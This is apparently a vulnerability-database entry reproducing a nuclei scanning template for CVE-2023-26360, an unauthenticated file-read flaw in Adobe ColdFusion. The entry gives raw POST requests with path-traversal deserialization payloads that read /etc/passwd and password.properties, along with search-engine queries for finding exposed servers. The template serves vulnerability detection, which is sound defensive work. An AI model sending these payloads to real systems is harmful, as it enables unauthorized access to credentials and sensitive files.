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Adobe ColdFusion - Local File Read

🗓️ 04 Jul 2026 03:00:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
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Unauthenticated File Read vulnerability in Adobe ColdFusion. Affects ColdFusion 2021 Update 5 and earlier, as well as ColdFusion 2018 Update 15 and earlier. Can lead to unauthorized access to sensitive info

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id: CVE-2023-26360

info:
  name: Adobe ColdFusion - Local File Read
  author: DhiyaneshDK,7own
  severity: high
  description: |
    Unauthenticated Arbitrary File Read vulnerability due to deserialization of untrusted data in Adobe ColdFusion. The vulnerability affects ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information stored on the server.
  remediation: |
    Apply the necessary security patches or updates provided by Adobe to fix the vulnerability.
  reference:
    - https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26360
    - https://helpx.adobe.com/security/products/coldfusion/apsb23-25.html
    - http://packetstormsecurity.com/files/172079/Adobe-ColdFusion-Unauthenticated-Remote-Code-Execution.html
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2023-26360
    cwe-id: CWE-284
    epss-score: 0.97339
    epss-percentile: 0.99888
    cpe: cpe:2.3:a:adobe:coldfusion:2018:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query:
      - http.component:"Adobe ColdFusion"
      - http.component:"adobe coldfusion"
      - http.title:"coldfusion administrator login"
      - cpe:"cpe:2.3:a:adobe:coldfusion"
    fofa-query:
      - title="coldfusion administrator login"
      - app="adobe-coldfusion"
    google-query: intitle:"coldfusion administrator login"
  tags: cve2023,cve,packetstorm,adobe,coldfusion,lfi,kev,vkev,vuln

http:
  - raw:
      - |
        POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}

      - |
        POST /CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}

      - |
        POST /cfusion/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}

      - |
        POST //CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}

      - |
        POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _variables=%7b%22_metadata%22%3a%7b%22classname%22%3a%22i/../lib/password.properties%22%7d%2c%22_variables%22%3a%5b%5d%7d

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - "password="
          - "encrypted=true"
          - "adobe"
        condition: and

      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 490a00463044022077898a68833b0ed3ee611627d7c95d7d7df8e74fe04052d6eb76e7937be3559202202022b8a5a63a91096c830854b43eee3e7cd6ee854fe6298f49990e696ecfe6fd:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.18.6 - 9.8
EPSS0.97339
SSVC
134